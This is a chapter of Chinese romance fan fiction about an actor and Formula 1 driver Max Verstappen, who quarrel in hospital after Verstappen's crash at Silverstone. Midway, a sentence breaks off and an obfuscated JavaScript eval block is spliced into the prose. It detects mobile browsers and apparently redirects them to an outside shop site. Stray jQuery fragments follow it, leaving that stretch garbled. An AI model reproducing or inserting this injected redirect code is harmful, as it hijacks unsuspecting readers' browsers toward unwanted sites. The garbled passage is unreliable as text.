斯科特出现在酒店的时候，林利正坐在露台啃三明治。


    经纪人在他对面坐下，把公文包放在桌上，打量了他一眼：“你瘦了。”


    林利举了举手里那个干巴巴的面包：“正在吃了。”


    斯科特皱眉，没再多说什么，从包里拿出几个厚夹子，一本本摆在桌上。封面都是黑色或深灰色的，看不出具体内容，只有项目代号和角色名。


    “都是精心挑选的可以试镜的机会。”斯科特的手指敲了敲最上面那本，“诺兰的新片《奥本海默》，4号角色，但毕竟是诺兰的大制作，而且角色有亮点。”


    他接着推过另外两本：“网球题材的爱情片，双主角。”


    “还有《饥饿游戏》前传，狮门影业的大IP，男一号。”


    林利放下吃到一半的三明治，拿起最上面那本翻开。角色台词不多，但场景看起来很重要，参议院、中立者。


    “这本有非常严格的保密协议。”斯科特补充道，“如果你决定是这个，试镜就在下个月。我会和《空战群英》这边打声招呼，调出你的档期。”


    林利点头，又翻了翻另外两本。两男争一女的爱情片？角色高光在女主角吧。


    第三本《饥饿游戏》前传，他草草扫过一眼角色描述，也没什么兴趣。


    “最近怎么样？”斯科特语气随意地问，“肋骨的伤还好吗？”


    “好多了。”


    “有继续见咨询师吗？噩梦呢？”


    “少了一些。”


    其实昨晚还梦到了。


    斯科特深深地看了他一眼，叹口气：“别硬撑。”


    他站起来拍了拍林利的肩膀，“记得尽快告诉我你的决定，机会不等人。”


    等斯科特走了，林利重新拿起第一本剧本，手机在口袋里震了一下。


    他掏出来。


    施蒂利亚大奖赛结束了，推送新闻蹦出：


    【维斯塔潘统治施蒂利亚大奖赛，背靠背连胜。】


    林利盯着标题看了一会，打开短信。犹犹豫豫地在屏幕上敲了几个字：


    【L：祝贺P1。】


    发送。


    他试图把注意力拉回剧本，权衡着各个项目的利弊。


    几分钟后，屏幕亮起。


    【Emily：谢了。】


    就这么一个词。


    林利心里有些不是滋味。他想说点别的，或许问问“对不起那天晚上”，但最后还是什么都没发。


    他不想这么快低头。难道那天半夜酒后的胡言乱语，麦克斯就一点错没有吗？


    他咬了一口发瘪的三明治，只觉得味同嚼蜡，太阳穴也跟着一跳一跳地胀痛。


    ……


    奥地利大奖赛，麦克斯再次夺冠。


    林利刷着社交平台上的照片。麦克斯站在领奖台上，香槟喷得到处都是。


    红牛主场，还是三连胜。


    他逃避似地不想发短信。


    手机这时候震了一声。


    【Emily：你拿走了它们最喜欢的玩具。[图片：Jimmy和Sassy蜷在沙发上睡觉]】


    林利茫然地回忆，他哪次把猫的玩具带走了吗？


    他轻轻叹了口气，到底是麦克斯主动发来的信号。


    【L：抱歉，我下次拿回去。】


    已读。


    然后就没有然后了。


    林利等了五分钟、二十分钟，还是没有回复。


    他一把将手机扔在床上，翻身面对墙壁。眼睛酸酸的不太舒服，他自嘲地想，大概是今天拍戏太久用眼过度了。


    ……


    7月18日，纽约。


    保密试镜地点在一栋不起眼的建筑里。


    林利被要求上交手机、手表以及一切电子设备。如此严苛的阵仗让他在心中无端生起一股紧张。


    “准备好了就开始。”导演助理示意道。


    白炽灯有些刺眼。林利松开衬衫最上面的扣子，动作轻缓地绕着空椅子走了一圈。他对着空气微微侧头，垂下眼睑，嘴角勾起一个似有若无的弧度：“先生，有没有可能……”


    “他们根本就没提到过你？”他故意拖长尾音，以一种审视的态度抬起眼皮，“有没有可能，他们谈论的是一些更重要的事？”


    他挺直脊背，缓慢地整理了一下袖口。


    ……


    “好了。”监视器后的制片人终于抬起头，在笔记本上写了点什么，“今天就到这里，我们会通知你结果。”


    林利走出试镜室，工作人员递回他的私人物品。他拿起手机，屏幕亮起的信息让他心中一惊。


    几十个来自麦克斯的未接来电和短信，社交平台全都是红色通知。


    推送新闻抢先弹了出来：


    【突发：维斯塔潘在银石赛道与汉密尔顿发生严重撞车事故，已被紧急送医。】


    发生了什么？林利的手止不住抖起来，手机差点掉在地上。


    画面中，两辆赛车几乎是以并排的姿态冲入极其高速的考普斯弯。汉密尔顿的左前轮擦过麦克斯的后轮，赛车瞬间失控着横扫过砂石区，狠狠撞进轮胎墙，发出“砰！”的恐怖撞击声，碎片四溅。


    林利怔在原地，脑子一片空白。


    “你好？”工作人员发现他的异样，“你需要帮忙吗？”


    “我得走了。”林利听到自己在说。他的身体比大脑更早做出反应，已经冲出大楼，跌撞着拦下一辆开往机场的出租车。


    一路上，拨回的电话没有人接通，发出的消息也没有回复。


    麦克斯现在还好吗？他怎么样了？


    他焦急地刷着所有能找到的新闻：


    【维斯塔潘在事故后意识清醒，但仍被送往医院接受预防性检查。此次撞击强度高达51G，堪称F1近年来最严重的撞车事故之一……】


    最严重，51G。


    林利狠狠闭上眼睛，用力攥紧座椅扶手。他想起记忆中的考普斯弯，高速、几乎全油门通过。如果角度再偏一点，如果防滚架没撑住……


    他不敢继续想，心脏跳得难受。


    林利在登机前联系到了GP。


    【L：他还在医院吗？】


    【GP：送到考文垂了，刚做完最后一轮检查。】


    【L：我能去看他吗？】


    【GP：你确定？他现在……算了，你自己看吧，我跟前台说一声。】


    飞机降落的时候已近凌晨。


    麦克斯两个小时前在社媒发了一条平安消息，配了张自拍。


    林利的指尖摩挲过屏幕里那张熟悉的脸，悄悄松了口气。


    还好所有检查都没什么问题。


    ……


    林利急匆匆跑进医院。


    GP在病房门口等着，看到林利，点了点头。


    “他刚睡着。”GP压低声音，“医生说观察到明天早上，如果没问题就能出院。”


    “伤得重吗？”


    “主要是冲击力太大。”GP在身上比划，“脖子、背部都有挫伤，幸好没有大的问题……”


    他摇摇头，没继续说下去。


    林利抿了抿干涩的嘴唇，有些局促地问：“我能进去吗？”


    GP看了房门一眼，迟疑地说：“他好像睡着了，之前一直在看手机，心情不怎么样。”


    “他有联系你吗？”GP补充，“总之……待会注意点。”


    病房里很暗，只有监护仪器的绿光在闪烁。麦克斯仰靠在床上，脖子上戴着笨重的颈托


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217309|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    听到开门声，他转过头看到林利，神色微变。


    “GP说你睡着了。”林利放轻脚步，慢慢向病床走近。


    麦克斯沙哑着嗓音开口：“睡不着，可能是撞击的后遗症。”


    林利在床边的椅子上坐下，嘴唇动了动，却发不出声音。麦克斯看起来比想象的要糟，脸色很白，眼下覆着青黑色阴影，嘴唇干裂得起了皮。


    “医生怎么说？”林利重复了一遍刚才在门口问过的问题。


    麦克斯低头盯着自己的手：“没事，运气比较好。”


    空气中只有沉默，除了监护仪器的嘀嘀声一下一下。


    “你在哪？”麦克斯开口，视线依旧没有看他。


    下一秒，他却猛地转回头，大声质问：“刚出事的时候，我给你打了那么多电话。你在哪？”


    林利被问得一僵：“我在试镜。保密项目，手机都不能带。”


    “试镜。”麦克斯胸口起伏，一字一顿地又念了一遍。


    “我不知道会出事，”林利慌了神，“如果我知道……”


    “如果提前知道，你就会来？”麦克斯不等他把话说完，眼睛直直盯向林利，“还是说，你仍然会去试镜？”


    不是这样的。林利张了张嘴，对上麦克斯沉沉的目光，话全堵在喉咙里。


    “我差点死了。”麦克斯的声音开始发抖，“撞上去的那一刻，我以为完了。”


    “你知道那是什么感觉吗？什么都看不到，也不知道自己在哪。而且动也不敢动，甚至不确定我是不是还完整。”


    他停了停，手指抓紧床单：“你知道我第一个想到的是谁吗？这种时候，我竟然还在害怕以后见不到你……”


    他别开脸，死死咬住嘴唇，再也说不下去。


    “麦克斯……”


    “试镜，”麦克斯轻嗤一声，“当然了。”


    林利又急又涩：“你这么说不公平，我真的没想到会发生这种意外！”


    “我也许会死！”麦克斯被气得发昏，不管不顾地挣扎起身，咬着牙狠狠说，“我最需要你的时候，你压根就不在！”


    “快躺下！”林利惊恐地想去扶他，“你还受着伤！”


    “你**根本就不在！”麦克斯越说越激动，监护仪器的警报突然响起。


    护士快步推门进来：“冷静一点，先躺下来慢慢说。”


    她检查完监护仪器，严肃地看向林利：“先生，请您先离开，患者需要静养。”


    “我马上就走。”林利攥紧拳头。


    护士调整完输液，带上门离去。


    病房里又安静下来。


    “我不是那个意思，我也想去的。”林利心乱如麻，“我看到新闻的时候整个人都懵了，担心得要命，生怕会有不好的结果。”


    “可你就是不在。”麦克斯只重复着瘫回枕头，盯着天花板，“这才是最重要的结果。”


    林利满心都是想辩解的话，他也很痛苦，这不是他能控制的。


    但看着麦克斯此刻受伤的神情，他脖子上的颈托，还有他输着液的手。


    “我很抱歉。”他最后只能说出这句话。


    麦克斯恹恹地闭上眼：“你走吧，我想休息了。”


    “麦克斯……”


    “求你了。”麦克斯轻轻摇头，“我真的很累。”


    林利往前微倾半步，想要握住麦克斯，告诉他一切都会好的，他们之间会没事的。可最终，双手还是颓然垂在身侧。


    “那你好好休息，我们……再联系。”


    林利沉默地转过身。手放在门把上的时候，忍不住回头再次望了一眼。


    麦克斯孤零零地躺在那里，眼睛闭着，眉头紧皱。


    门轻轻关上。